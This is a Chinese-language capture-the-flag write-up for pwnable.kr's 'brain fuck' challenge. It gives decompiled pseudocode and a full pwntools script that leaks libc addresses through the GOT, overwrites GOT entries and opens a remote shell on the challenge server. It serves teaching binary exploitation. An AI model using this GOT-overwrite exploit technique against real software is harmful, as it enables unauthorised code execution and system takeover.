pwnable.kr之brain f**k

这个问题还是很有趣的东西，这题是pwnable.kr中的第一题拥有libc库的题目；

首先说一下libc库作用，libc库的作用就是保存了可以用的函数，libc库提供C语言中所使用的宏，类型的定义，字符串操作符，数学计算函数以及输入输出函数等。正如ANSI C是C语言的标准一样，libc只是一个函数库标准，每个操作系统都会按照该标准对标准库进行具体实现。通常我们所说的libc是特指某个操作系统的标准库，比如：在Linux操作系统下所说的libc即glibc。glibc是类Unix操作系统中使用最广泛的libc库，它的全称是GNU C Library。

在libc库中，虽然函数的地址可能不同，但是函数之间的地址差是一定的，所以可以利用libc库来查看函数地址之间的差，之后可以在进行下一步的溢出。

接下来看看这个bf：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // [email protected]
  int v4; // [email protected]
  size_t i; // [sp+28h] [bp-40Ch]@1
  int v6; // [sp+2Ch] [bp-408h]@1
  int v7; // [sp+42Ch] [bp-8h]@1

  v7 = *MK_FP(__GS__, 20);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  p = (int)&tape;
  puts("welcome to brainfuck testing system!!");
  puts("type some brainfuck instructions except [ ]");
  memset(&v6, 0, 0x400u);
  fgets((char *)&v6, 1024, stdin);
  for ( i = 0; i < strlen((const char *)&v6); ++i )
    do_brainfuck(*((_BYTE *)&v6 + i));
  result = 0;
  v4 = *MK_FP(__GS__, 20) ^ v7;
  return result;
}

这个是main函数的c语言伪代码，首先发现这里有个fgets()函数，可以实现溢出；

int __cdecl do_brainfuck(char a1)
{
  int result; // [email protected]
  _BYTE *v2; // [email protected]

  result = a1;
  switch ( a1 )
  {
    case 62:
      result = p++ + 1;
      break;
    case 60:
      result = p-- - 1;
      break;
    case 43:
      result = p;
      ++*(_BYTE *)p;
      break;
    case 45:
      result = p;
      --*(_BYTE *)p;
      break;
    case 46:
      result = putchar(*(_BYTE *)p);
      break;
    case 44:
      v2 = (_BYTE *)p;
      result = getchar();
      *v2 = result;
      break;
    case 91:
      result = puts("[ and ] not supported.");
      break;
    default:
      return result;
  }
  return result;
}

这是do_brainfuck函数的c伪代码； 

再说说做这个题目的思路，最终的目标就是拿到题目的一个shell，就是要构造一个system("/bin/sh\0")，system可以通过泄露内存，也就是通过libc库可以得到，而“/bin/sh”只能通过fget来输入；

知道了这些思路，接下来就是给出脚本了：

#!/usr/bin/python
from pwn import *

libc = ELF('bf_libc.so')
p = remote('pwnable.kr',9001)

def back(n):
    return '<'*n
def read(n):
    return '.>'*n
def write(n):
    return ',>'*n

putchar_got = 0x0804A030
memset_got  = 0x0804A02C
fgets_got   = 0x0804A010
ptr         = 0x0804A0A0

payload =  back(ptr - putchar_got) + '.' + read(4) 
payload += back(4) + write(4) 
payload += back(putchar_got - memset_got + 4) + write(4) 
payload += back(memset_got - fgets_got + 4) + write(4) 
payload += '.'

p.recvuntil('[ ]\n')
p.sendline(payload)
p.recv(1) # junkcode

putchar_libc = libc.symbols['putchar']
gets_libc    = libc.symbols['gets']
system_libc  = libc.symbols['system']

putchar = u32(p.recv(4))
log.success("putchar = "+ hex(putchar))

gets    = putchar - putchar_libc + gets_libc
log.success("gets = "   + hex(gets))

system  = putchar - putchar_libc + system_libc
log.success("system = " + hex(system))

main    = 0x08048671
log.success("main = "   + hex(system))

p.send(p32(main))
p.send(p32(gets))
p.send(p32(system))

p.sendline('//bin/sh\0')
p.interactive()

这段脚本并不难理解，就是牵扯到一些libc库的专门的函数等，所以这些需要熟悉，但是思路其实还是很常见的溢出的思路。

ok，大功告成！！！！！